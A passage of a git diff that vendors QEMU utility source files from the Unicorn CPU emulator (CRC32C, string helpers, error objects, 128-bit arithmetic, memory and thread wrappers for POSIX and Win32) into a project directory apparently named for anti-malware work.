0x4370C551L, 0xB11B4652L, + 0x65D122B9L, 0x97BAA1BAL, 0x84EA524EL, 0x7681D14DL, + 0x2892ED69L, 0xDAF96E6AL, 0xC9A99D9EL, 0x3BC21E9DL, + 0xEF087A76L, 0x1D63F975L, 0x0E330A81L, 0xFC588982L, + 0xB21572C9L, 0x407EF1CAL, 0x532E023EL, 0xA145813DL, + 0x758FE5D6L, 0x87E466D5L, 0x94B49521L, 0x66DF1622L, + 0x38CC2A06L, 0xCAA7A905L, 0xD9F75AF1L, 0x2B9CD9F2L, + 0xFF56BD19L, 0x0D3D3E1AL, 0x1E6DCDEEL, 0xEC064EEDL, + 0xC38D26C4L, 0x31E6A5C7L, 0x22B65633L, 0xD0DDD530L, + 0x0417B1DBL, 0xF67C32D8L, 0xE52CC12CL, 0x1747422FL, + 0x49547E0BL, 0xBB3FFD08L, 0xA86F0EFCL, 0x5A048DFFL, + 0x8ECEE914L, 0x7CA56A17L, 0x6FF599E3L, 0x9D9E1AE0L, + 0xD3D3E1ABL, 0x21B862A8L, 0x32E8915CL, 0xC083125FL, + 0x144976B4L, 0xE622F5B7L, 0xF5720643L, 0x07198540L, + 0x590AB964L, 0xAB613A67L, 0xB831C993L, 0x4A5A4A90L, + 0x9E902E7BL, 0x6CFBAD78L, 0x7FAB5E8CL, 0x8DC0DD8FL, + 0xE330A81AL, 0x115B2B19L, 0x020BD8EDL, 0xF0605BEEL, + 0x24AA3F05L, 0xD6C1BC06L, 0xC5914FF2L, 0x37FACCF1L, + 0x69E9F0D5L, 0x9B8273D6L, 0x88D28022L, 0x7AB90321L, + 0xAE7367CAL, 0x5C18E4C9L, 0x4F48173DL, 0xBD23943EL, + 0xF36E6F75L, 0x0105EC76L, 0x12551F82L, 0xE03E9C81L, + 0x34F4F86AL, 0xC69F7B69L, 0xD5CF889DL, 0x27A40B9EL, + 0x79B737BAL, 0x8BDCB4B9L, 0x988C474DL, 0x6AE7C44EL, + 0xBE2DA0A5L, 0x4C4623A6L, 0x5F16D052L, 0xAD7D5351L +}; + + +uint32_t crc32c(uint32_t crc, const uint8_t *data, unsigned int length) +{ + while (length--) { + crc = crc32c_table[(crc ^ *data++) & 0xFFL] ^ (crc >> 8); + } + return crc^0xffffffff; +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/util/cutils.c b/ai_anti_malware/unicorn/unicorn-master/qemu/util/cutils.c new file mode 100644 index 0000000..9a6cbdb --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/util/cutils.c @@ -0,0 +1,157 @@ +/* + * Simple C functions to supplement the C library + * + * Copyright (c) 2006 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#include "qemu-common.h" +#include "qemu/host-utils.h" +#include +#include +#include + + +void pstrcpy(char *buf, int buf_size, const char *str) +{ + int c; + char *q = buf; + + if (buf_size <= 0) + return; + + for(;;) { + c = *str++; + if (c == 0 || q >= buf + buf_size - 1) + break; + *q++ = c; + } + *q = '\0'; +} + +/* strcat and truncate. */ +char *pstrcat(char *buf, int buf_size, const char *s) +{ + int len; + len = strlen(buf); + if (len < buf_size) + pstrcpy(buf + len, buf_size - len, s); + return buf; +} + +int strstart(const char *str, const char *val, const char **ptr) +{ + const char *p, *q; + p = str; + q = val; + while (*q != '\0') { + if (*p != *q) + return 0; + p++; + q++; + } + if (ptr) + *ptr = p; + return 1; +} + +int qemu_fls(int i) +{ + return 32 - clz32(i); +} + +static int64_t suffix_mul(char suffix, int64_t unit) +{ + switch (qemu_toupper(suffix)) { + case STRTOSZ_DEFSUFFIX_B: + return 1; + case STRTOSZ_DEFSUFFIX_KB: + return unit; + case STRTOSZ_DEFSUFFIX_MB: + return unit * unit; + case STRTOSZ_DEFSUFFIX_GB: + return unit * unit * unit; + case STRTOSZ_DEFSUFFIX_TB: + return unit * unit * unit * unit; + case STRTOSZ_DEFSUFFIX_PB: + return unit * unit * unit * unit * unit; + case STRTOSZ_DEFSUFFIX_EB: + return unit * unit * unit * unit * unit * unit; + } + return -1; +} + +/* + * Convert string to bytes, allowing either B/b for bytes, K/k for KB, + * M/m for MB, G/g for GB or T/t for TB. End pointer will be returned + * in *end, if not NULL. Return -ERANGE on overflow, Return -EINVAL on + * other error. + */ +int64_t strtosz_suffix_unit(const char *nptr, char **end, + const char default_suffix, int64_t unit) +{ + int64_t retval = -EINVAL; + char *endptr; + unsigned char c; + int mul_required = 0; + double val, mul, integral, fraction; + + errno = 0; + val = strtod(nptr, &endptr); + if (isnan(val) || endptr == nptr || errno != 0) { + goto fail; + } + fraction = modf(val, &integral); + if (fraction != 0) { + mul_required = 1; + } + c = *endptr; + mul = (double)suffix_mul(c, unit); + if (mul >= 0) { + endptr++; + } else { + mul = (double)suffix_mul(default_suffix, unit); + assert(mul >= 0); + } + if (mul == 1 && mul_required) { + goto fail; + } + if ((val * mul >= (double)INT64_MAX) || val < 0) { + retval = -ERANGE; + goto fail; + } + retval = (int64_t)(val * mul); + +fail: + if (end) { + *end = endptr; + } + + return retval; +} + +int64_t strtosz_suffix(const char *nptr, char **end, const char default_suffix) +{ + return strtosz_suffix_unit(nptr, end, default_suffix, 1024); +} + +int64_t strtosz(const char *nptr, char **end) +{ + return strtosz_suffix(nptr, end, STRTOSZ_DEFSUFFIX_MB); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/util/error.c b/ai_anti_malware/unicorn/unicorn-master/qemu/util/error.c new file mode 100644 index 0000000..7dc0bcc --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/util/error.c @@ -0,0 +1,129 @@ +/* + * QEMU Error Objects + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori + * + * This work is licensed under the terms of the GNU LGPL, version 2. See + * the COPYING.LIB file in the top-level directory. + */ + +#include "qemu-common.h" +#include "qapi/error.h" + +struct Error +{ + char *msg; + ErrorClass err_class; +}; + +Error *error_abort; + +void error_set(Error **errp, ErrorClass err_class, const char *fmt, ...) +{ + Error *err; + va_list ap; + int saved_errno = errno; + + if (errp == NULL) { + return; + } + assert(*errp == NULL); + + err = g_malloc0(sizeof(*err)); + + va_start(ap, fmt); + err->msg = g_strdup_vprintf(fmt, ap); + va_end(ap); + err->err_class = err_class; + + if (errp == &error_abort) { + // abort(); + } + + *errp = err; + + errno = saved_errno; +} + +void error_set_errno(Error **errp, int os_errno, ErrorClass err_class, + const char *fmt, ...) +{ + Error *err; + char *msg1; + va_list ap; + int saved_errno = errno; + + if (errp == NULL) { + return; + } + assert(*errp == NULL); + + err = g_malloc0(sizeof(*err)); + + va_start(ap, fmt); + msg1 = g_strdup_vprintf(fmt, ap); + if (os_errno != 0) { + err->msg = g_strdup_printf("%s: %s", msg1, strerror(os_errno)); + g_free(msg1); + } else { + err->msg = msg1; + } + va_end(ap); + err->err_class = err_class; + + if (errp == &error_abort) { + // abort(); + } + + *errp = err; + + errno = saved_errno; +} + +void error_setg_file_open(Error **errp, int os_errno, const char *filename) +{ + error_setg_errno(errp, os_errno, "Could not open '%s'", filename); +} + +Error *error_copy(const Error *err) +{ + Error *err_new; + + err_new = g_malloc0(sizeof(*err)); + err_new->msg = g_strdup(err->msg); + err_new->err_class = err->err_class; + + return err_new; +} + +ErrorClass error_get_class(const Error *err) +{ + return err->err_class; +} + +const char *error_get_pretty(Error *err) +{ + return err->msg; +} + +void error_free(Error *err) +{ + if (err) { + g_free(err->msg); + g_free(err); + } +} + +void error_propagate(Error **dst_errp, Error *local_err) +{ + if (local_err && dst_errp == &error_abort) { + // abort(); + } else if (dst_errp && !*dst_errp) { + *dst_errp = local_err; + } else if (local_err) { + error_free(local_err); + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/util/getauxval.c b/ai_anti_malware/unicorn/unicorn-master/qemu/util/getauxval.c new file mode 100644 index 0000000..208bfa3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/util/getauxval.c @@ -0,0 +1,109 @@ +/* + * QEMU access to the auxiliary vector + * + * Copyright (C) 2013 Red Hat, Inc + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#include "qemu-common.h" +#include "qemu/osdep.h" + +#ifdef CONFIG_GETAUXVAL +/* Don't inline this in qemu/osdep.h, because pulling in for + the system declaration of getauxval pulls in the system , which + conflicts with qemu's version. */ + +#include + +unsigned long qemu_getauxval(unsigned long key) +{ + return getauxval(key); +} +#elif defined(__linux__) +#include "elf.h" + +/* Our elf.h doesn't contain Elf32_auxv_t and Elf64_auxv_t, which is ok because + that just makes it easier to define it properly for the host here. */ +typedef struct { + unsigned long a_type; + unsigned long a_val; +} ElfW_auxv_t; + +static const ElfW_auxv_t *auxv; + +static const ElfW_auxv_t *qemu_init_auxval(void) +{ + ElfW_auxv_t *a; + ssize_t size = 512, r, ofs; + int fd; + + /* Allocate some initial storage. Make sure the first entry is set + to end-of-list, so that we've got a valid list in case of error. */ + auxv = a = g_malloc(size); + a[0].a_type = 0; + a[0].a_val = 0; + + fd = open("/proc/self/auxv", O_RDONLY); + if (fd < 0) { + return a; + } + + /* Read the first SIZE bytes. Hopefully, this covers everything. */ + r = read(fd, a, size); + + if (r == size) { + /* Continue to expand until we do get a partial read. */ + do { + ofs = size; + size *= 2; + auxv = a = g_realloc(a, size); + r = read(fd, (char *)a + ofs, ofs); + } while (r == ofs); +} + + close(fd); + return a; +} + +unsigned long qemu_getauxval(unsigned long type) +{ + const ElfW_auxv_t *a = auxv; + + if (unlikely(a == NULL)) { + a = qemu_init_auxval(); + } + + for (; a->a_type != 0; a++) { + if (a->a_type == type) { + return a->a_val; + } + } + + return 0; +} + +#else + +unsigned long qemu_getauxval(unsigned long type) +{ + return 0; +} + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/util/host-utils.c b/ai_anti_malware/unicorn/unicorn-master/qemu/util/host-utils.c new file mode 100644 index 0000000..5f1d7a7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/util/host-utils.c @@ -0,0 +1,167 @@ +/* + * Utility compute operations used by translated code. + * + * Copyright (c) 2003 Fabrice Bellard + * Copyright (c) 2007 Aurelien Jarno + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#include +#include "unicorn/platform.h" +#include "qemu/host-utils.h" + +#ifndef CONFIG_INT128 +/* Long integer helpers */ +static inline void mul64(uint64_t *plow, uint64_t *phigh, + uint64_t a, uint64_t b) +{ + typedef union { + uint64_t ll; + struct { +#ifdef HOST_WORDS_BIGENDIAN + uint32_t high, low; +#else + uint32_t low, high; +#endif + } l; + } LL; + LL rl, rm, rn, rh, a0, b0; + uint64_t c; + + a0.ll = a; + b0.ll = b; + + rl.ll = (uint64_t)a0.l.low * b0.l.low; + rm.ll = (uint64_t)a0.l.low * b0.l.high; + rn.ll = (uint64_t)a0.l.high * b0.l.low; + rh.ll = (uint64_t)a0.l.high * b0.l.high; + + c = (uint64_t)rl.l.high + rm.l.low + rn.l.low; + rl.l.high = (uint32_t)c; + c >>= 32; + c = c + rm.l.high + rn.l.high + rh.l.low; + rh.l.low = (uint32_t)c; + rh.l.high += (uint32_t)(c >> 32); + + *plow = rl.ll; + *phigh = rh.ll; +} + +/* Unsigned 64x64 -> 128 multiplication */ +void mulu64 (uint64_t *plow, uint64_t *phigh, uint64_t a, uint64_t b) +{ + mul64(plow, phigh, a, b); +} + +/* Signed 64x64 -> 128 multiplication */ +void muls64 (uint64_t *plow, uint64_t *phigh, int64_t a, int64_t b) +{ + uint64_t rh; + + mul64(plow, &rh, a, b); + + /* Adjust for signs. */ + if (b < 0) { + rh -= a; + } + if (a < 0) { + rh -= b; + } + *phigh = rh; +} + +/* Unsigned 128x64 division. Returns 1 if overflow (divide by zero or */ +/* quotient exceeds 64 bits). Otherwise returns quotient via plow and */ +/* remainder via phigh. */ +int divu128(uint64_t *plow, uint64_t *phigh, uint64_t divisor) +{ + uint64_t dhi = *phigh; + uint64_t dlo = *plow; + unsigned i; + uint64_t carry = 0; + + if (divisor == 0) { + return 1; + } else if (dhi == 0) { + *plow = dlo / divisor; + *phigh = dlo % divisor; + return 0; + } else if (dhi > divisor) { + return 1; + } else { + + for (i = 0; i < 64; i++) { + carry = dhi >> 63; + dhi = (dhi << 1) | (dlo >> 63); + if (carry || (dhi >= divisor)) { + dhi -= divisor; + carry = 1; + } else { + carry = 0; + } + dlo = (dlo << 1) | carry; + } + + *plow = dlo; + *phigh = dhi; + return 0; + } +} + +int divs128(int64_t *plow, int64_t *phigh, int64_t divisor) +{ + int sgn_dvdnd = *phigh < 0; + int sgn_divsr = divisor < 0; + int overflow = 0; + + if (sgn_dvdnd) { + *plow = ~(*plow); + *phigh = ~(*phigh); + if (*plow == (int64_t)-1) { + *plow = 0; + (*phigh)++; + } else { + (*plow)++; + } + } + + if (sgn_divsr) { + divisor = 0 - divisor; + } + + overflow = divu128((uint64_t *)plow, (uint64_t *)phigh, (uint64_t)divisor); + + if (sgn_dvdnd ^ sgn_divsr) { + *plow = 0 - *plow; + } + + if (!overflow) { + if ((*plow < 0) ^ (sgn_dvdnd ^ sgn_divsr)) { + overflow = 1; + } + } + + return overflow; +} +#else +// avoid empty object file +void dummy_func(void); +void dummy_func(void) {} +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/util/module.c b/ai_anti_malware/unicorn/unicorn-master/qemu/util/module.c new file mode 100644 index 0000000..9d9cd23 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/util/module.c @@ -0,0 +1,57 @@ +/* + * QEMU Module Infrastructure + * + * Copyright IBM, Corp. 2009 + * + * Authors: + * Anthony Liguori + * + * This work is licensed under the terms of the GNU GPL, version 2. See + * the COPYING file in the top-level directory. + * + * Contributions after 2012-01-13 are licensed under the terms of the + * GNU GPL, version 2 or (at your option) any later version. + */ + +#include "qemu-common.h" +#include "qemu/queue.h" + +#include "uc_priv.h" + +static void init_lists(struct uc_struct *uc) +{ + int i; + + for (i = 0; i < MODULE_INIT_MAX; i++) { + QTAILQ_INIT(&uc->init_type_list[i]); + } +} + + +static ModuleTypeList *find_type(struct uc_struct *uc, module_init_type type) +{ + ModuleTypeList *l; + + init_lists(uc); + + l = &uc->init_type_list[type]; + + return l; +} + +static void module_load(module_init_type type) +{ +} + +void module_call_init(struct uc_struct *uc, module_init_type type) +{ + ModuleTypeList *l; + ModuleEntry *e; + + module_load(type); + l = find_type(uc, type); + + QTAILQ_FOREACH(e, l, node) { + e->init(); + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/util/oslib-posix.c b/ai_anti_malware/unicorn/unicorn-master/qemu/util/oslib-posix.c new file mode 100644 index 0000000..3614205 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/util/oslib-posix.c @@ -0,0 +1,141 @@ +/* + * os-posix-lib.c + * + * Copyright (c) 2003-2008 Fabrice Bellard + * Copyright (c) 2010 Red Hat, Inc. + * + * QEMU library functions on POSIX which are shared between QEMU and + * the QEMU tools. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#if defined(__linux__) && (defined(__x86_64__) || defined(__arm__)) + /* Use 2 MiB alignment so transparent hugepages can be used by KVM. + Valgrind does not support alignments larger than 1 MiB, + therefore we need special code which handles running on Valgrind. */ +# define QEMU_VMALLOC_ALIGN (512 * 4096) +#elif defined(__linux__) && defined(__s390x__) + /* Use 1 MiB (segment size) alignment so gmap can be used by KVM. */ +# define QEMU_VMALLOC_ALIGN (256 * 4096) +#else +# define QEMU_VMALLOC_ALIGN getpagesize() +#endif +#define HUGETLBFS_MAGIC 0x958458f6 + +#include "unicorn/platform.h" +#include "config-host.h" +#include "sysemu/sysemu.h" +#include +#include +#include +#ifdef __HAIKU__ +#include +#else +#include +#endif + +#ifdef CONFIG_LINUX +#if !defined(__CYGWIN__) +#include +#endif +#include +#endif + +#ifdef __FreeBSD__ +#include +#endif + +void *qemu_oom_check(void *ptr) +{ + if (ptr == NULL) { + fprintf(stderr, "Failed to allocate memory: %s\n", strerror(errno)); + abort(); + } + return ptr; +} + +void *qemu_try_memalign(size_t alignment, size_t size) +{ + void *ptr; + + if (alignment < sizeof(void*)) { + alignment = sizeof(void*); + } + +#if defined(_POSIX_C_SOURCE) && !defined(__sun__) + int ret; + ret = posix_memalign(&ptr, alignment, size); + if (ret != 0) { + errno = ret; + ptr = NULL; + } +#elif defined(CONFIG_BSD) + ptr = valloc(size); +#else + ptr = memalign(alignment, size); +#endif + return ptr; +} + +void *qemu_memalign(size_t alignment, size_t size) +{ + return qemu_oom_check(qemu_try_memalign(alignment, size)); +} + +/* alloc shared memory pages */ +void *qemu_anon_ram_alloc(size_t size, uint64_t *alignment) +{ + size_t align = QEMU_VMALLOC_ALIGN; + size_t total = size + align - getpagesize(); + void *ptr = mmap(0, total, PROT_READ | PROT_WRITE, + MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); + size_t offset = QEMU_ALIGN_UP((uintptr_t)ptr, align) - (uintptr_t)ptr; + + if (ptr == MAP_FAILED) { + return NULL; + } + + if (alignment) { + *alignment = align; + } + ptr += offset; + total -= offset; + + if (offset > 0) { + munmap(ptr - offset, offset); + } + if (total > size) { + munmap(ptr + size, total - size); + } + + return ptr; +} + +void qemu_vfree(void *ptr) +{ + free(ptr); +} + +void qemu_anon_ram_free(void *ptr, size_t size) +{ + if (ptr) { + munmap(ptr, size); + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/util/oslib-win32.c b/ai_anti_malware/unicorn/unicorn-master/qemu/util/oslib-win32.c new file mode 100644 index 0000000..cb60b98 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/util/oslib-win32.c @@ -0,0 +1,103 @@ +/* + * os-win32.c + * + * Copyright (c) 2003-2008 Fabrice Bellard + * Copyright (c) 2010 Red Hat, Inc. + * + * QEMU library functions for win32 which are shared between QEMU and + * the QEMU tools. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + * + */ +#include +#include + +#include +#include "config-host.h" +#include "sysemu/sysemu.h" + +/* this must come after including "trace.h" */ +/* The pragmas are to fix this issue: https://connect.microsoft.com/VisualStudio/feedback/details/976983 */ +#pragma warning(push) +#pragma warning(disable : 4091) +#include +#pragma warning(pop) + +void *qemu_oom_check(void *ptr) +{ + if (ptr == NULL) { + fprintf(stderr, "Failed to allocate memory: %lu\n", GetLastError()); + abort(); + } + return ptr; +} + +void *qemu_try_memalign(size_t alignment, size_t size) +{ + void *ptr; + + if (!size) { + abort(); + } + ptr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE); + // trace_qemu_memalign(alignment, size, ptr); + return ptr; +} + +void *qemu_memalign(size_t alignment, size_t size) +{ + return qemu_oom_check(qemu_try_memalign(alignment, size)); +} + +void *qemu_anon_ram_alloc(size_t size, uint64_t *align) +{ + void *ptr; + + /* FIXME: this is not exactly optimal solution since VirtualAlloc + has 64Kb granularity, but at least it guarantees us that the + memory is page aligned. */ + ptr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE); + // trace_qemu_anon_ram_alloc(size, ptr); + return ptr; +} + +void qemu_vfree(void *ptr) +{ + // trace_qemu_vfree(ptr); + if (ptr) { + VirtualFree(ptr, 0, MEM_RELEASE); + } +} + +void qemu_anon_ram_free(void *ptr, size_t size) +{ + // trace_qemu_anon_ram_free(ptr, size); + if (ptr) { + VirtualFree(ptr, 0, MEM_RELEASE); + } +} + +size_t getpagesize(void) +{ + SYSTEM_INFO system_info; + + GetSystemInfo(&system_info); + return system_info.dwPageSize; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/util/qemu-error.c b/ai_anti_malware/unicorn/unicorn-master/qemu/util/qemu-error.c new file mode 100644 index 0000000..88f89b7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/util/qemu-error.c @@ -0,0 +1,80 @@ +/* + * Error reporting + * + * Copyright (C) 2010 Red Hat Inc. + * + * Authors: + * Markus Armbruster , + * + * This work is licensed under the terms of the GNU GPL, version 2 or later. + * See the COPYING file in the top-level directory. + */ + +#include +#include +#include + +static const char *progname; + +/* + * Set the program name for error_print_loc(). + */ +void error_set_progname(const char *argv0) +{ + const char *p = strrchr(argv0, '/'); + progname = p ? p + 1 : argv0; +} + +const char *error_get_progname(void) +{ + return progname; +} + +/* + * Print current location to current monitor if we have one, else to stderr. + */ +static void error_print_loc(void) +{ +} + +/* + * Print an error message to current monitor if we have one, else to stderr. + * Format arguments like vsprintf(). The result should not contain + * newlines. + * Prepend the current location and append a newline. + * It's wrong to call this in a QMP monitor. Use qerror_report() there. + */ +#ifdef _MSC_VER +void error_vreport(const char *fmt, va_list ap) +{ + error_print_loc(); + vfprintf(stderr, fmt, ap); + fprintf(stderr, "\n"); +} +#else +void error_vreport(const char *fmt, va_list ap) +{ + GTimeVal tv; + gchar *timestr; + + error_print_loc(); + error_vprintf(fmt, ap); + error_printf("\n"); +} +#endif + +/* + * Print an error message to current monitor if we have one, else to stderr. + * Format arguments like sprintf(). The result should not contain + * newlines. + * Prepend the current location and append a newline. + * It's wrong to call this in a QMP monitor. Use qerror_report() there. + */ +void error_report(const char *fmt, ...) +{ + va_list ap; + + va_start(ap, fmt); + error_vreport(fmt, ap); + va_end(ap); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/util/qemu-thread-posix.c b/ai_anti_malware/unicorn/unicorn-master/qemu/util/qemu-thread-posix.c new file mode 100644 index 0000000..c461144 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/util/qemu-thread-posix.c @@ -0,0 +1,86 @@ +/* + * Wrappers around mutex/cond/thread functions + * + * Copyright Red Hat, Inc. 2009 + * + * Author: + * Marcelo Tosatti + * + * This work is licensed under the terms of the GNU GPL, version 2 or later. + * See the COPYING file in the top-level directory. + * + */ +#include +#include +#include +#include +#include +#include "unicorn/platform.h" +#include +#include +#ifdef __linux__ +#include +#include +#endif +#include "qemu/thread.h" +#include "qemu/atomic.h" + +static void error_exit(int err, const char *msg) +{ + fprintf(stderr, "qemu: %s: %s\n", msg, strerror(err)); + abort(); +} + +int qemu_thread_create(struct uc_struct *uc, QemuThread *thread, const char *name, + void *(*start_routine)(void*), + void *arg, int mode) +{ + sigset_t set, oldset; + int err; + pthread_attr_t attr; + + err = pthread_attr_init(&attr); + if (err) { + error_exit(err, __func__); + return -1; + } + if (mode == QEMU_THREAD_DETACHED) { + err = pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED); + if (err) { + error_exit(err, __func__); + return -1; + } + } + + /* Leave signal handling to the iothread. */ + sigfillset(&set); + pthread_sigmask(SIG_SETMASK, &set, &oldset); + err = pthread_create(&thread->thread, &attr, start_routine, arg); + if (err) { + error_exit(err, __func__); + return -1; + } + + pthread_sigmask(SIG_SETMASK, &oldset, NULL); + + pthread_attr_destroy(&attr); + + return 0; +} + +void qemu_thread_exit(struct uc_struct *uc, void *retval) +{ + pthread_exit(retval); +} + +void *qemu_thread_join(QemuThread *thread) +{ + int err; + void *ret; + + err = pthread_join(thread->thread, &ret); + if (err) { + error_exit(err, __func__); + } + return ret; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/util/qemu-thread-win32.c b/ai_anti_malware/unicorn/unicorn-master/qemu/util/qemu-thread-win32.c new file mode 100644 index 0000000..3a85e6a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/util/qemu-thread-win32.c @@ -0,0 +1,159 @@ +/* + * Win32 implementation for mutex/cond/thread functions + * + * Copyright Red Hat, Inc. 2010 + * + * Author: + * Paolo Bonzini + * + * This work is licensed under the terms of the GNU GPL, version 2 or later. + * See the COPYING file in the top-level directory. + * + */ +#include "qemu-common.h" +#include "qemu/thread.h" +#include +#include +#include + +#include "uc_priv.h" + + +static void error_exit(int err, const char *msg) +{ + char *pstr; + + FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_ALLOCATE_BUFFER, + NULL, err, 0, (LPTSTR)&pstr, 2, NULL); + fprintf(stderr, "qemu: %s: %s\n", msg, pstr); + LocalFree(pstr); + //abort(); +} + +struct QemuThreadData { + /* Passed to win32_start_routine. */ + void *(*start_routine)(void *); + void *arg; + short mode; + + /* Only used for joinable threads. */ + bool exited; + void *ret; + CRITICAL_SECTION cs; + struct uc_struct *uc; +}; + +static unsigned __stdcall win32_start_routine(void *arg) +{ + QemuThreadData *data = (QemuThreadData *) arg; + void *(*start_routine)(void *) = data->start_routine; + void *thread_arg = data->arg; + + if (data->mode == QEMU_THREAD_DETACHED) { + data->uc->qemu_thread_data = NULL; + g_free(data); + data = NULL; + } + qemu_thread_exit(data->uc, start_routine(thread_arg)); + abort(); +} + +void qemu_thread_exit(struct uc_struct *uc, void *arg) +{ + QemuThreadData *data = uc->qemu_thread_data; + + if (data) { + assert(data->mode != QEMU_THREAD_DETACHED); + data->ret = arg; + EnterCriticalSection(&data->cs); + data->exited = true; + LeaveCriticalSection(&data->cs); + } 